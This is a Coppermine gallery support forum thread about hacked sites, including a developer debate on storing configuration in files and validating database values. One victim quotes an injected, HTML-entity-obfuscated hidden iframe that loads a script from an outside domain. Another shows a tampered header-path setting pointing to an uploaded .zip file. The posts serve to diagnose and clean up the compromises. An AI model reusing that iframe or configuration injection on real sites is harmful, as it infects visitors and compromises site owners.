Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?

[Nibbler]

SELECT ... INTO OUTFILE allows writing to the filesystem.

I don't see how having something in a file helps security. If Coppermine can create and edit the file an attacker can too.

How do you propose information can be 'checked, verified, analyzed, and validated' when only the database knows the information in the first place? If there is a user entry in the database how can Coppermine know if it is valid or not? How can that work with a 3rd party bridge?

Coppermine was created a long time ago with no real emphasis on security. Each release we improve things (eg. Coppermine 1.5 (dev version) has a wrapper around user supplied data) but there is still a long way to go.

[Joachim Müller]

@phantom-inker: I appreciate you taking the time to share your thoughts with us. As Nibbler suggested, we are actually trying to improve things while developing cpg1.5.x (from a dev's perspective, cpg1.4.x is dead and will only be patched if needed in terms of security holes or bugs, bit not in terms of overall architecture). However, this discussion should not be lead within this very thread, as newbies might mistake our discussion about potential (yet-to-be-exploited ) flaws with actual issues that are already known and that could be fixed easily. This being said, you're welcome to start a new thread on the misc board with your proposals and ideas.

Cheers

Joachim

[phantom-inker]

SELECT ... INTO OUTFILE allows writing to the filesystem.

That ability doesn't help an attacker as much as you think.  Per the MySQL reference manual:  "The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed."  This means that while "INTO OUTFILE" can create new files --- if and only if the user has FILE privilege --- it still can't overwrite settings in something like "config.inc.php," which effectively makes "config.inc.php" data that can't be changed by an attacker --- "config.inc.php" is the anchor of your sea of data, and nails down things that shouldn't be allowed to float away.

I don't see how having something in a file helps security. If Coppermine can create and edit the file an attacker can too.

As I pointed out before:  If the file already exists, and is rw-r--r-- or something like it, it's data that Coppermine itself --- that the web server, and thus any attacker --- can't edit.  If all of your most vital configuration settings are stored in a file instead of in the database, the attacker can't change them even with an SQL injection, and, as in the case of the page headers, that can be the difference between executing unauthorized code and working fine.

How do you propose information can be 'checked, verified, analyzed, and validated' when only the database knows the information in the first place? If there is a user entry in the database how can Coppermine know if it is valid or not? How can that work with a 3rd party bridge?

Not all of what the database knows is uncheckable.  In fact, a lot of what's in there can usually be validated in any web app.  Again, consider the page headers:  Let's say you want to leave that setting in the database.  There are a number of places where the page-header file itself could be stored, and a number of places where no sane site designer would ever put it, like "albums/".  Allowing it to exist in those places is just begging for a security breach.  Allowing it to have ".jpg" or ".zip" as a file extension is just as bad.

Any paths or names in the database can usually be checked against the contents of the filesystem; internal references in the database can often be checked against each other without adding significant numbers of additional queries; and many things that can't be absolutely checked can have simple "sane" vs. "crazy" heuristics applied to them --- like making sure that a field that's supposed to contain an integer really contains an integer and not an arbitrary string, or making sure that a string that's supposed to be a valid filename doesn't contain newlines.  preg_match() and file_exists() are your friends --- and your first line of defense against the bad guys.

I check nearly all values in the web software I write for my clients; I don't see any fundamental reason why you can't do the same.

Coppermine was created a long time ago with no real emphasis on security. Each release we improve things (eg. Coppermine 1.5 (dev version) has a wrapper around user supplied data) but there is still a long way to go.

I understand that, and it was actually pretty obvious just reading the code.  And I know all too well how much of a pain in the @$$ upgrading and patching a piece of cranky old software can be.  But we're at the stage now where security is no longer optional in software:  Coppermine already has a bit of a reputation as being "leaky" in security circles, and the last thing you want is for the general public to start avoiding it because of security issues.  Your upgrades have mostly been reactive, but security is not just reactive:  It can be proactive and preventive too.  You need to think like your attackers and foil them before they have a chance to abuse your code.

I shudder to think whether Coppermine is vulnerable to things like rainbow-table attacks or XSS attacks or man-in-the-middle attacks.  But, then, I've got code vulnerable to rainbow tables and man-in-the-middle too, so nobody's perfect

@phantom-inker: I appreciate you taking the time to share your thoughts with us. As Nibbler suggested, we are actually trying to improve things while developing cpg1.5.x (from a dev's perspective, cpg1.4.x is dead and will only be patched if needed in terms of security holes or bugs, bit not in terms of overall architecture). However, this discussion should not be lead within this very thread, as newbies might mistake our discussion about potential (yet-to-be-exploited Wink) flaws with actual issues that are already known and that could be fixed easily. This being said, you're welcome to start a new thread on the misc board with your proposals and ideas.

I'd be happy to do so, but you locked down the misc board for new threads

On a more serious note, if you can split this thread and move these postings there, that'd probably be best.

[Joachim Müller]

I'd be happy to do so, but you locked down the misc board for new threads

Nope, that's not the case. It is open. I was refering to the sub-board cpg1.4 miscellaneous. Only yesterday, 8 new threads have been created there.
Anyway, I tried to do as you suggested and split the thread accordingly, but failed, since part of your postings should reside in this thread and some in the new one. Let's start in the suggested new thread from scratch, OK? Please start it in the sub-board I proposed.

[pkeijser]

My coppermine-site is hacked. When I start the site, in the comment-line at the bottom the occurs an link to an website-adress that starts with: ccfelomk......com.
In the code of the page appears the line:
<body>
<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>
<table ......

in which file can find I these first rules?

[Nibbler]

http://forum.coppermine-gallery.net/index.php/topic,51927.0.html

[toria55]

I have my Coppermine Gallery on someone elses server. Their site was hacked. This is the message I got.

someone got in somehow and started sending emails to all the members asking their personal information, such as credit cards etc, and my server since it's really good noticed really fast, and turn off the site

This is the message I got on the conclusion of where the problem is.

I just checked your gallery, and you do not have the latest version, the lastest version is 1.4.18, and your version is 1.4.16, and you need to update that to the newest version. I just talked to the server and they told me that most likely it came from there, but they can't be sure where the hack came from. They said that the coppermine gallery oldest versions are having a lot of problems and a lot of galleries are being hacked. So, we will need to figure out a way to update that as soon as possible, because we can't turn on JJJ-Fans and your gallery back on until your gallery is up to date with the 1.4.18 version.

My Gallery was only installed about a month ago.  All the photos that uploaded were uploaded from my desk top and not a FTP.  Can someone tell me how to get the 1.4.18 version?

[Nibbler]

It's on the downloads page.

[fotoshopper]

After a few days I reactivate my cpg with the actuell Version and the old database and found following under my settings:

custom_header_path: albums/userpics/10001/5563131x.zip

The album doesn´t exist and so I delete the database row under pictures. Hope the hacker have no access to my site.

Did anyone know something about this

[Nibbler]

You should follow the instructions in the sanitisation thread - delete any suspicious .zip files and clean up your config settings.

[vinnyabdn]

Hi guys,
Yes 1st post but hope I'm not repeating and can maybe help?

I have cpg1.4.18 on one of my sites and just today received an upload notification for 2 .gz files with tags and comments and name filled with "asdasd..".
I knew these were unlikely to be genuine due to the limited computer skills of the sites contributers so I deleted them.
I guess seeing this thread I (so far / Touch wood) have avoided this attack as a result.
HTH.
Vince

[Proxy]

The only php app that was compromized on my server was coppermine. I would assert that uploading files from other websites "feature" ala URI upload is the culprit to this absolute mess.

[Joachim Müller]

No. That's nonsense. read the thread here, read the announcement for the cpg1.4.8 release and read the sanitization thread.

[ganeshcp]

Hi,
I want to know how I can prevent myself from getting this virus again?
I have:

1. Removed all instances of affected JPEGs
2. Rewritten all coppermine source files with the latest version.
3. Disables any kind of uploads for registered users.

Is there anything I'm missing?

[mywedding]

hi all,


i have some problem like this board,


well, i haven't any 10002-20033..etc users , but google send me hit like that "/thumbnails-topn-20022-page-686.html" ,



how can i redirect to 404 to that pages or stop that spam pages, anyone help me,

thx,

best regards

[Joachim Müller]

Your issue differs (i.e. the attack is different), but the solution remains the same: read the "Yikes" thread that has been refered to so often. Locking.